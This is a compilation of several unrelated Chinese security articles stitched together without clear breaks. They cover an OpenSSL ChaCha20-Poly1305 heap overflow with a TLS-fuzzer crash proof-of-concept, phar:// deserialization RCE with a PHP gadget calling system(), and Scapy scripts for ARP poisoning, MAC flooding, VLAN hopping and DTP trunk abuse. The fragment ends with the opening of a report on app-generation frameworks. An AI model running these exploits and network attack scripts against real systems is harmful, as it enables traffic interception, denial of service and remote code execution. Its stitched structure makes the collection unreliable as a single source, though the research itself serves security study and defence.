译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **FlamePeak**
****](http://bobao.360.cn/member/contribute?uid=2798816853)
**预估稿费：100RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
几天前，Fortinet发表了一个题为“[OpenSSL
ChaCha20-Poly1305堆溢出(CVE-2016-7054)分析](http://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054)”的文章。OpenSSL程序库中的一个高危堆溢出漏洞被发现，影响1.1.0a和1.1.0b版本。漏洞代码位于[openssl-OpenSSL_1_1_0acryptoevpe_chacha20_poly1305.c](https://github.com/openssl/openssl/commit/99d97842ddb5fbbbfb5e9820a64ebd19afe569f6#diff-7833c5e4cec70f95c68a9c6cc528c30d)文件中。
让我们看一下这段存在漏洞的代码：
//Line No 196
static int chacha20_poly1305_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out,
const unsigned char *in, size_t len)
{
...
//Line No 241
} else { /* ciphertext: Decrypt the ciphertext */
Poly1305_Update(POLY1305_ctx(actx), in, plen);
chacha_cipher(ctx, out, in, plen);
in += plen;
out += plen; //out points to the end of the buffer where decrypted ciphertext is stored.
actx->len.text += plen;
}
...
//Line No 293
Poly1305_Final(POLY1305_ctx(actx), ctx->encrypt ? actx->tag
: temp); //Generate MAC from the ciphertext
actx->mac_inited = 0;if (in != NULL && len != plen) { /* tls mode */
if (ctx->encrypt) {
memcpy(out, actx->tag, POLY1305_BLOCK_SIZE);
} else {
if (CRYPTO_memcmp(temp, in, POLY1305_BLOCK_SIZE)) {
/* If the generated MAC doesn't match the one sent along with ciphertext...
Clear the buffer where ciphertext was stored, but notice that 'out' points
to the end of the buffer ** So extra space from heap will be cleared **
*/
memset(out, 0, plen);
return -1;
}
}
}
else if (!ctx->encrypt) {
if (CRYPTO_memcmp(temp, actx->tag, actx->tag_len))
return -1;
}
}
return len;
}
**
**
**CHaCHa20流密码和Poly1305消息认证码**
**ChaCha20**
ChaCha20是Salsa20算法的改良版，使用256比特密钥。ChaCha20连续的使用同一个密钥和随机数调用ChaCha20块函数，并连续增加块计数器参数。然后，ChaCha20以小字节序（little-endian order）对结果进行序列化处理，得到密钥流数据块。这个密钥流数据块将与明文进行异或运算得到密文。
ChaCha20的输入：
1\. 256比特密钥
2\. 32比特初始计数器
3\. 96比特随机数（IV）
4\. 任意长度的明文
其输出是与明文长度相同的密文。
**Poly1305**
Poly1305是一个一次性的验证器，其输入为：
1\. 32比特的一次性密钥
2\. 一段消息
其输出是16字节的标记（Tag），用于验证消息。Poly1305使用AES加密随机数，但是AES可以被任意的带密钥的函数替代，就像[这篇论文](http://cr.yp.to/mac/poly1305-20050329.pdf)描述的。
因此使用ChaCha20-Poly1305我们得到：
至此，我们已经知道足够的基础知识，现在我们可以进行深入分析。下一步，我们尝试通过生成带有错误标记的TLS消息来触发有漏洞的代码。
我们发送一个ClientHello，通过一个使用ChaCha20和Poly1305的加密套件（cipher suite），例如DHE-RSA-CHACHA20-POLY1305-SHA256。如果服务器支持这个加密套件，它将会返回一个服务器Hello，否则它将会引发握手失败警告（ChaCha20-Poly1305
的支持在OpenSSL
1.1.0中引入）。密钥交换和消息完成之后，我们可以发送我们应用程序的数据，这里是我们想发送一个恶意的消息认证码（MAC）来触发漏洞的地方。
为了利用这个漏洞，我们需要与服务器协商ChaCha20-Poly1305加密套件，并发送一个带有恶意消息认证码（MAC）的消息。让我们首先配置运行OpenSSL
1.1.0a的服务器。
**设置 OpenSSL 1.1.0a**
我们可以从<https://www.openssl.org/source/old/1.1.0/>下载需要的版本，解压文档之后，我们配置该软件包，但是我们不希望它覆盖我们现在安装的OpenSSL版本，我们可以如下进行配置：
./config --prefix=/opt/openssl-1.1.0a --openssldir=/opt/openssl-1.1.0a
然后make并安装这个软件包。然后，我们运行生成证书和密钥并设置OpenSSL侦听传入的TLS链接。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt
/opt/openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg
**
**
**漏洞利用**
（使用带有恶意消息认证码的ChaCha20-Poly1305连接到服务器）
使用TLS Fuzzer和它的fuzz_application_data功能，我们可以发送一个恶意消息认证码到我们有漏洞的OpenSSL实例
([https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py](https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py))。
# Offsec Research - [email protected]
conversations = {}
# 16 chars: POLY1305 tag 128 bit
# Tampering the last bit suffices to damage the MAC
# The payload has to be long enough to trigger heap overflow
n = 15000
fuzzes = [(-1, 1)]
for pos, val in fuzzes:
conversation = Connect(sys.argv[1], int(sys.argv[2]))
node = conversation
ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
node = node.add_child(ClientHelloGenerator(ciphers))
node = node.add_child(ExpectServerHello())
node = node.add_child(ExpectCertificate())
node = node.add_child(ExpectServerKeyExchange())
node = node.add_child(ExpectServerHelloDone())
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
node = node.add_child(fuzz_encrypted_message(
ApplicationDataGenerator(b"GET / HTTP/1.0n" + n * b"A" + b"nn"), xors={pos:val}))
node = node.add_child(ExpectAlert(AlertLevel.fatal,
AlertDescription.bad_record_mac))
node = node.add_child(ExpectClose())
如果OpenSSl实例不存在漏洞，它将会回复bad_record_mac警告并关闭连接，而存在漏洞的实例将会崩溃：
我决定为开发团队提供这个示例代码，以便能够测试他们可能基于OpenSSL代码库的自定义的堆栈和产品是否存在这个漏洞。OpenSSL
1.1.0c及以后版本对这个漏洞进行了修复，通过将"out"指针设置到密文的开头而不是结尾。升级将会解决这个问题。我必须指出，漏洞的影响仅限于拒绝服务。 | 社区文章 |
Blog： <https://blog.zsxsoft.com/post/38>
今年的HITCON打完了，沉迷写前端搞Nextjs骚操作的我成功爆0（雾），不想写前端了.jpg。
先跑个题。
HITCON 2016上，orange 出了一道PHP反序列化。
HITCON 2017上，orange 出了一道Phar + PHP反序列化。
HITCON 2018上，orange 出了一道file_get_contents + Phar + PHP反序列化。
让我们期待HITCON 2019的操作（雾。
## Phar RCE
今年HITCON上，`baby cake`这一题，涉及到了今年BlackHat大会上的Sam Thomas分享的`File Operation
Induced Unserialization via the “phar://” Stream
Wrapper`这个议题，见：<https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf>
。它的主要内容是，通过`phar://`协议对一个`phar`文件进行文件操作，如`file_get_contents`，就可以触发反序列化，从而达成RCE的效果。
在文章开头部分，让我先对phar反序列化做一些小小的分析。我们直接阅读PHP源码。在
[phar.c#L618](https://github.com/php/php-src/blob/29b56a878aa22310d645c3266110417e07ebe683/ext/phar/phar.c#L618)
处，其调用了`php_var_unserialize`。
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
因此可以构造一个特殊的phar包，使得攻击代码能够被反序列化，从而构造一个POP链。这一部分已经太常见了，CTF比赛中都出烂了，没什么值得继续讨论的。值得关注的是到底为什么`file_get_contents`能够实现RCE。
## Stream API
因此，为解决这个问题，我们需要首先阅读此函数的源码。大概在此处：<https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548> ，重点关注此行：
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
可以注意，其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档：[Streams API for PHP Extension
Authors](https://secure.php.net/manual/zh/internals2.ze1.streams.php)，可知，Stream
API是PHP中一种统一的处理文件的方法，并且其被设计为可扩展的，允许任意扩展作者使用。而本次事件的主角，也就是phar这个扩展，其就注册了`phar://`这个stream
wrapper。可以使用`stream_get_wrapper`看到系统内注册了哪一些wrapper，但其余的没什么值得关注的。
php > var_dump(stream_get_wrappers());
array(12) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(14) "compress.bzip2"
[4]=>
string(3) "php"
[5]=>
string(4) "file"
[6]=>
string(4) "glob"
[7]=>
string(4) "data"
[8]=>
string(4) "http"
[9]=>
string(3) "ftp"
[10]=>
string(4) "phar"
[11]=>
string(3) "zip"
}
那么，注册一个 stream wrapper，能实现什么功能呢？很容易就能找到其定义：<https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132>
typedef struct _php_stream_wrapper_ops {
/* open/create a wrapped stream */
php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
/* close/destroy a wrapped stream */
int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
/* stat a wrapped stream */
int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
/* stat a URL */
int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
/* open a "directory" stream */
php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
const char *label;
/* delete a file */
int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* rename a file */
int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
/* Create/Remove directory */
int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* Metadata handling */
int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
} php_stream_wrapper_ops;
因此，我们发现，一个 stream
wrapper，它支持以下功能：打开文件（夹）、删除文件（夹）、重命名文件（夹），以及获取文件的meta。我们很容易就能断定，类似`unlink`等函数也是同样通过这个
streams api 进行操作。
Sam Thomas 的 pdf 指出
> This is true for both direct file operations (such as
> "file_exists") and indirect operations such as those that occur during
> external entity processing
> within XML (i.e. when an XXE vulnerability is being exploited).
我们通过试验也很容易发现，类似`unlink`等函数也均是可以使用的。
知道创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用（<https://paper.seebug.org/680/> ）：
* `fileatime` / `filectime` / `filemtime`
* `stat` / `fileinode` / `fileowner` / `filegroup` / `fileperms`
* `file` / `file_get_contents` / `readfile` / `fopen``
* `file_exists` / `is_dir` / `is_executable` / `is_file` / `is_link` / `is_readable` / `is_writeable` / `is_writable`
* `parse_ini_file`
* `unlink`
* `copy`
仅仅是知道一些受影响的函数，就够了吗？为什么就可以使用了呢？
## 寻找受害者
当然不够。我们需要先找到其原理，然后往下深入挖掘。
先看`file_get_contents`的代码。其调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
这么个函数。
再看`unlink`的代码，其调用了
wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);
这么个函数。
从`php_stream_open_wrapper_ex`的[实现](https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/streams/streams.c#L2010)，可以看到，其也调用了`php_stream_locate_url_wrapper`
。这个函数的作用是通过url来找到对应的wrapper。我们可以看到，phar组件注册了`phar://`这个wrapper，
<https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c>
其定义如下：
const php_stream_wrapper_ops phar_stream_wops = {
phar_wrapper_open_url,
NULL, /* phar_wrapper_close */
NULL, /* phar_wrapper_stat, */
phar_wrapper_stat, /* stat_url */
phar_wrapper_open_dir, /* opendir */
"phar",
phar_wrapper_unlink, /* unlink */
phar_wrapper_rename, /* rename */
phar_wrapper_mkdir, /* create directory */
phar_wrapper_rmdir, /* remove directory */
NULL
};
接着，让我们翻这几个函数的实现，会发现它们都调用了`phar_parse_url`，这个函数再调用`phar_open_or_create_filename`
-> `phar_create_or_parse_filename` -> `phar_open_from_fp` ->
`phar_parse_pharfile` -> `phar_parse_metadata` ->
`phar_var_unserialize`。因此，明面上来看，所有文件函数，均可以触发此phar漏洞，因为它们都直接或间接地调用了这个wrapper。
只是这些文件函数，就够了吗？
当然不够。这是一个所有的和IO有关的函数，都可能触发的问题。
前面我已经指出，它们都有一个共同特征，就是调用了`php_stream_locate_url_wrapper`。但是这个不那么好用，换`php_stream_open_wrapper`更合适点。让我们搜索一下PHP源代码吧，
我们很快就能发现，操作文件的`touch`，也是能触发它的。不看文件了，我们假设文件全部都能用。
我们会惊讶（一点都不）地发现：
### exif
* `exif_thumbnail`
* `exif_imagetype`
### gd
* `imageloadfont`
* `imagecreatefrom***`
### hash
* `hash_hmac_file`
* `hash_file`
* `hash_update_file`
* `md5_file`
* `sha1_file`
### file / url
* `get_meta_tags`
* `get_headers`
### standard
* `getimagesize`
* `getimagesizefromstring`
## zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
### Bzip / Gzip
这，够了吗？non non哒哟！
如果题目限制了，`phar://`不能出现在头几个字符怎么办？请欣赏你船未见过的船新操作。
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
当然，它同样适用于`compress.zlib://`。
### Postgres
再来个数据库吧！
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
当然，`pgsqlCopyToFile`和`pg_trace`同样也是能使用的，只是它们需要开启phar的写功能。
### MySQL
还有什么骚操作呢？
……MySQL？
走你！
我们注意到，`LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper`. 让我们测试一下。
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。
[mysqld]
local-infile=1
secure_file_priv=""
……然后，走你！
我相信，PHP代码内部还有相当多的`php_stream_open_wrapper`等待挖掘，这只是关于stream wrapper利用的一小步。 | 社区文章 |
# Python网络攻防之第二层攻击
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/8547>
译文仅供参考，具体内容表达以及含义原文为准。
本章节节选翻译自《Understanding Network Hacks: Attack and Defense with
Python》中的第四章Layer 2
Attacks。该书通过网络层次划分介绍漏洞，并使用Python编写相关利用工具进行网络攻防，每小节均按照“原理–代码–解释–防御”的结构行文，此书也可与《Python黑帽子:黑客与渗透测试编程之道》相互参照学习，相信会达到较好的效果呦。另译者水平有限，如有错误还请指正与海涵。
**
**
**0x00 摘要**
在本章第二层攻击当中，我们将进入网络hacking的奇幻之旅。让我们回顾一下，第二层是负责在以太网中，使用MAC地址来发送数据包。除了ARP攻击，我们将探讨交换机是如何应对DOS攻击的，以及如何逃逸出VLAN环境。
**
**
**0x01 需求模块**
在Python中，你不必在意原始套接字或网络字节顺序，借由Philippe
Biondi编写的Scapy，具有世界上最好的数据包生成器，你可以轻松地定制数据包。既不像在Libnet和C中那样需要指针运算，也不像在RawIP和Perl中，或者是在Scruby和Ruby中，你会被有限的几种协议所束缚。Scapy可以构造从ARP到IP/ICMP，再到TCP/UDP和DNS/DHCP等所有OSI层上的数据包，甚至是更不常见的协议也同样被支持，比如BOOTP,
GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, EAP。
现在让我们在第二层网络上，使用Scapy来制造一些麻烦吧！首先你需要用如下的命令安装它：
pip install Scapy
现在你将步入经典著名的中间人攻击！
**
**
**0x02 ARP-Cache-Poisoning**
如果一台主机想要发送IP数据包到另一台主机，就必须预先通过使用ARP协议请求目的MAC地址。这个询问会向网络中的所有成员广播。在一个完美的世界中，只有应答的主机是所需的目的主机。在一个不那么完美的世界中，攻击者会每隔几秒向它的受害者发送一个ARP应答报文，但是是以它自己的MAC地址作为响应，从而重定向该连接到其自身。因为大多数的操作系统都接受它们从未询问过的应答报文，所以该攻击才会生效！
#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + ": <target> <spoof_ip>"
sys.exit(1)
iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip,
psrc=fake_ip,
op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
在Scapy的帮助下，我们构造了一个名为packet的数据包，里面包括一个Ethernet()及一个ARP()头。在ARP头部中，我们设置了受害者的IP地址（target_ip）和我们想劫持所有连接的IP地址（fake_ip）。对于最后一个参数，我们设置OP-Code为is-at，声明该数据包为一个ARP响应。然后sendp()函数在每次发送数据包时，都等待10秒并一直循环发送下去。
需要注意的是，你必须使用sendp()函数而不是send()函数，因为数据包应该在第二层被发送。send()则是在第三层发送数据包。
最后，要记得启用IP转发，否则你的主机会阻塞来自受害者的连接。
sysctl net.ipv4.ip_forward=1
不要忘记检查像IPtables这样的数据包过滤器的设置，使用pf或ipfw或直接禁用它，现在已经了解了足够多的枯燥的理论知识，让我们直接进入一些实用的Python代码吧！
如果你只是用fake_ip来处理客户端的ARP缓存，那么你只会得到客户端的数据包，而无法接收到服务端的响应。如下图所示。
如下图所示，要强制通过攻击者的主机进行双向连接，攻击者就必须使用他的MAC地址，来伪造客户端和服务端的相关目的地址。
我们的第一段代码有些粗糙，它发送了大量的ARP报文，不仅产生了所需要的流量，而且也比较暴露。隐蔽的攻击者会采取另一种策略。
一台主机如果想要获取有关IP地址的信息，会发出一个ARP请求。我们将编写一个程序，等待ARP请求，并为每一个接收到的请求发送一个ARP欺骗响应。在交换环境中，这将导致每一个连接都会流经攻击者的主机，因为在ARP缓存中，每一个IP地址都会有攻击者的MAC地址。这个攻击更加优雅，不像之前的那个那么嘈杂，但还是很容易被一个训练有素的管理员检测到。
如下图所示，欺骗性的响应数据包和真实主机的响应数据包被并行发送。谁的数据包先被受害者的网卡接收到，则谁获胜。
#!/usr/bin/python
import sys
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
def arp_poison_callback(packet):
# Got ARP request?
if packet[ARP].op == 1:
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
answer[ARP].op = "is-at"
answer[ARP].hwdst = packet[ARP].hwsrc
answer[ARP].psrc = packet[ARP].pdst
answer[ARP].pdst = packet[ARP].psrc
print "Fooling " + packet[ARP].psrc + " that " +
packet[ARP].pdst + " is me"
sendp(answer, iface=sys.argv[1])
sniff(prn=arp_poison_callback,
filter="arp",
iface=sys.argv[1],
store=0)
从参数iface指定的网卡中，sniff()函数无限循环地读取数据包。将PACP过滤器设置为arp，使接收到的数据包都被自动过滤，来保证我们的回调函数arp_poison_callback在被调用时，只有ARP数据包作为输入。同时由于参数store=0，数据包将不会被存储。
arp_poison_callback()函数处理我们的实际工作。首先，它会检查ARP报文的OP
code：当它是1时则为一个ARP请求，然后我们来生成一个响应包，在响应数据包中，我们将请求包中的源MAC地址和IP地址作为目的MAC地址和IP地址。因为我们未定义源MAC地址，所以Scapy会自动插入发送数据包的网络接口地址。
ARP中IP与MAC地址的对应关系会被缓存一段时间，因为它会被转储起来，对同一地址一遍又一遍地进行解析。可以用如下命令显示ARP缓存：
arp -an
? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
这依赖于操作系统和它的版本，本地配置设置及地址被缓存的时间。
为了抵御ARP欺骗攻击，一方面可以使用ARP静态表，但是这同样可以被接收到的ARP响应所覆盖，这些均依赖于操作系统对ARP的处理代码。另一方面也可以使用像ARP
watcher这样的工具。ARP
watcher监控ARP流量，并报告可疑行为但并不阻止。现在最先进的入侵检测系统可以检测到ARP缓存中毒攻击。你应该使用上面的代码，检查一下你的IDS，看看它是如何表现的。
**
**
**0x03 ARP-Watcher**
接下来我们编写一个小工具，来报告所有新连接到我们网络的设备，为此它必须能够记住所有IP和MAC地址的对应关系。此外，它还可以检测出一个网络设备是否突然更改了它的MAC地址。
#!/usr/bin/python
from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys
arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}
# Save ARP table on shutdown
def sig_int_handler(signum, frame):
print "Got SIGINT. Saving ARP database..."
try:
f = open(arp_watcher_db_file, "w")
for (ip, mac) in ip_mac.items():
f.write(ip + " " + mac + "n")
f.close()
print "Done."
except IOError:
print "Cannot write file " + arp_watcher_db_file
sys.exit(1)
def watch_arp(pkt):
# got is-at pkt (ARP response)
if pkt[ARP].op == 2:
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
# Device is new. Remember it.
if ip_mac.get(pkt[ARP].psrc) == None:
print "Found new device " +
pkt[ARP].hwsrc + " " +
pkt[ARP].psrc
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
# Device is known but has a different IP
elif ip_mac.get(pkt[ARP].psrc) and
ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print pkt[ARP].hwsrc +
" has got new ip " +
pkt[ARP].psrc +
" (old " + ip_mac[pkt[ARP].psrc] + ")"
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
signal(SIGINT, sig_int_handler)
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
try:
fh = open(arp_watcher_db_file, "r")
except IOError:
print "Cannot read file " + arp_watcher_db_file
sys.exit(1)
for line in fh:
line.chomp()
(ip, mac) = line.split(" ")
ip_mac[ip] = mac
sniff(prn=watch_arp,
filter="arp",
iface=sys.argv[1],
store=0)
开始我们定义了一个信号处理函数sig_int_handler()，当用户中断程序时该函数会被调用。该函数会在ip_mac字典中，将所有已知的IP和MAC地址对应关系保存到一个文件当中。一开始我们读取这些ARP
db文件，用目前已知的所有对应关系来初始化程序，若文件无法读取则退出。然后我们将文件内容一行一行地循环读取，把每一行分割为IP和MAC地址，将它们保存到
ip_mac字典中。我们再调用已知的sniff()函数，对每一个接收到的ARP数据包，调用回调函数watch_arp。
watch_arp函数是整个程序中的核心逻辑部分。当嗅探到的数据包是is-at数据包时，则该数据包为一个ARP响应。紧接着我们首先检查IP是否存在于ip_mac字典中。如果我们没有发现对应条目，则其为一个新设备，并在屏幕上显示一条信息。否则我们将数据包中的MAC地址与字典中的MAC相比较，如果不同则响应很可是伪造的，我们也在屏幕上显示一条消息。在这两种情况下，都会用新的信息来更新字典。
**
**
**0x04 MAC-Flooder**
交换机和其他计算机一样，具有有限的内存，交换机中存放MAC地址信息的表格也同样如此，该表格记录哪个MAC地址对应哪个端口及其内部的ARP缓存。当交换机的缓冲区溢出时，它们的反应就会有些古怪。这将会导致交换机拒绝服务，以至于放弃交换行为而变得像正常的集线器。在集线器模式下，整体的高流量不会是你遇到的唯一问题，因此在没有附加操作下，所有已连接的计算机都会接收到完整的流量。你应该测试一下的你的交换机在这种意外情况下是如何反应的，接下来的脚本就可以做到这一点。它会产生随机的MAC地址，并将它们发送到你的交换机中，直到交换机的缓冲区被填满。
#!/usr/bin/python
import sys
from scapy.all import *
packet = Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) /
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) /
ICMP()
if len(sys.argv) < 2:
dev = "eth0"
else:
dev = sys.argv[1]
print "Flooding net with random packets on dev " + dev
sendp(packet, iface=dev, loop=1)
RandMAC和RandIP负责随机地产生地址当中的每一个字节。其余的则由sendp()函数的循环参数完成。
**
**
**0x05 VLAN Hopping**
因为VLAN不具备安全特性，一方面标记VLAN取决于包含VLAN
id的数据包头部，使用Scapy可以很容易创建这样的数据包。现在让我们的电脑连接到VLAN1，并且尝试去ping VLAN2上的其他主机。
#!/usr/bin/python
from scapy.all import *
packet = Ether(dst="c0:d3:de:ad:be:ef") /
Dot1Q(vlan=1) /
Dot1Q(vlan=2) /
IP(dst="192.168.13.3") /
ICMP()
sendp(packet)
首先我们设定在数据包的头部当中，包含我们的VLAN标记，再加上一个目的主机地址。交换机将会移除第一个标记，并不决定如何处理该数据包，当它看到第二个标记VLAN
id 2 的时候，则决定转发到这个vlan。如果交换机连接到其他通过堆叠启用的VLAN交换机，这种攻击只会是成功的，否则它们就是使用的基于端口的VLAN。
**
**
**0x06 Let’s Play Switch**
Linux可以运行在许多嵌入式网络设备上；因此凭借Linux操作系统，人们可以把自己的电脑变成一台功能齐全的VALN交换机，这并不令人惊奇。你只需要vconfig这种工具就够了。在根据你的操作系统安装所需的数据包后，通过以下的命令，你可以将你的主机加入到另一个VLAN环境中。
vconfig add eth0 1
然后你必须记住启动新设备，并给它一个VLAN网络中的IP地址。
ifconfig eth0.1 192.168.13.23 up
**0x07 ARP Spoofing Over VLAN Hopping**
VLAN会限制对同一VLAN的端口的广播流量，因此我们不能在默认情况下应对所有的ARP请求，就像在第一个ARP
spoofing例子中看到的那样，必须每隔几秒就向受害者告诉我们的MAC地址。除了我们对每个数据包进行了标记和加之的目的VLAN，下面的代码是通用的。
#!/usr/bin/python
import time
from scapy.all import sendp, ARP, Ether, Dot1Q
iface = "eth0"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
packet = Ether() /
Dot1Q(vlan=our_vlan) /
Dot1Q(vlan=target_vlan) /
ARP(hwsrc=fake_mac,
pdst=target_ip,
psrc=fake_ip,
op="is-at")
while True:
sendp(packet, iface=iface)
time.sleep(10)
幸运的是，防御这种类型的VLAN攻击并没有那么复杂：如果你真的想分离你的网络，只需要使用物理划分的交换机！
**
**
**0x08 DTP Abusing**
TP（动态中继协议）是一种由思科发明的专有协议，用于如果一个端口是trunk端口，则交换机之间可以动态地交流。Trunk端口通常用于互连交换机和路由器，以便共享一些或所有已知的VLAN。
为了能够执行下面的代码，你需要安装Scapy的开发版本。同时为了check out出源，请先安装Mercurial，然后键入以下命令来克隆Scapy
repository。
hg clone http://hg.secdev.org/scapy scapy
如果你想跟踪Scapy的最新版本，你只需要时不时地更新checkout。
cd scapy
hg pull
现在你可以将旧版本的Scapy变成最新版的了。
pip uninstall Scapy
cd scapy
python setup.py install
多亏了DTP协议，和它完全忽视任何一种安全的属性，我们现在就可以发送一个动态可取包到每一个启用DTP的思科设备，并要求它将我们的端口转变为trunk端口。
#!/usr/bin/python
import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *
if len(sys.argv) < 2:
print sys.argv[0] + " <dev>"
sys.exit()
negotiate_trunk(iface=sys.argv[1])
作为一个可选参数，你可以设置欺骗相邻交换机的MAC地址，如果没有设置，则会自动生成一个随机值。
这种攻击可能会持续几分钟，但是攻击者并不关心延迟，因为他们知道在改变连接到每一个VLAN的可能性之后他们会得到什么！
vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up
没有足够好的理由来使用DTP，所以干脆禁用掉它吧！
**
**
**0x09 Tools**
NetCommander
NetCommander是一个简单的ARP欺骗程序。它通过对每一个可能的IP发送ARP请求，来搜索网络上存活的主机。你可以选择需要劫持的连接，然后每隔几秒，NetCommander就会自动地欺骗那些主机和默认网关之间的双向连接。
工具的源代码可以从这里下载：https://github.com/evilsocket/NetCommander
Hacker’s Hideaway ARP Attack Tool
Hacker’s Hideaway ARP Attack
Tool比NetCommander的功能多一些。除了欺骗特殊连接，它还支持被动欺骗所有对源IP的ARP请求，和MAC泛洪攻击。
工具的下载链接为：https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2
Loki
Loki是一种像Yersinia的第二层和第三层攻击工具。它可以通过插件来扩展，也有一个漂亮的GUI界面。它实现了像ARP欺骗和泛洪，BGP，RIP路由注入之类的攻击，甚至可以攻击像HSRP和VRRP那样非常罕见的协议。
工具的源代码地址为：https://www.c0decafe.de/loki.html | 社区文章 |
# 黑灰产的廉价“温床”—— APP生成框架
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 总体态势
APP生成框架是指无需复杂技术编程即可实现APP开发的一种框架。使用APP生成框架开发APP能极大简化开发步骤、缩短开发周期并在一定程度上节约开发成本，因此越来越多有开发需求的人成为APP生成框架的用户，其中不乏众多黑灰产从业者。
360烽火实验室在对Android黑灰产的持续监测中发现，越来越多黑灰产开发者倾向于使用APP生成框架来开发黑灰产APP。自2016年起，我们在勒索软件黑产研究中就发现了大量使用Android易语言（E4A）一键生成的勒索APP，而事实上，E4A只是市场上众多APP生成框架中的一种，近几年我们陆续收集了数万种APP生成框架，同时更是捕获到了上百万利用这些APP生成框架开发的黑灰产APP。
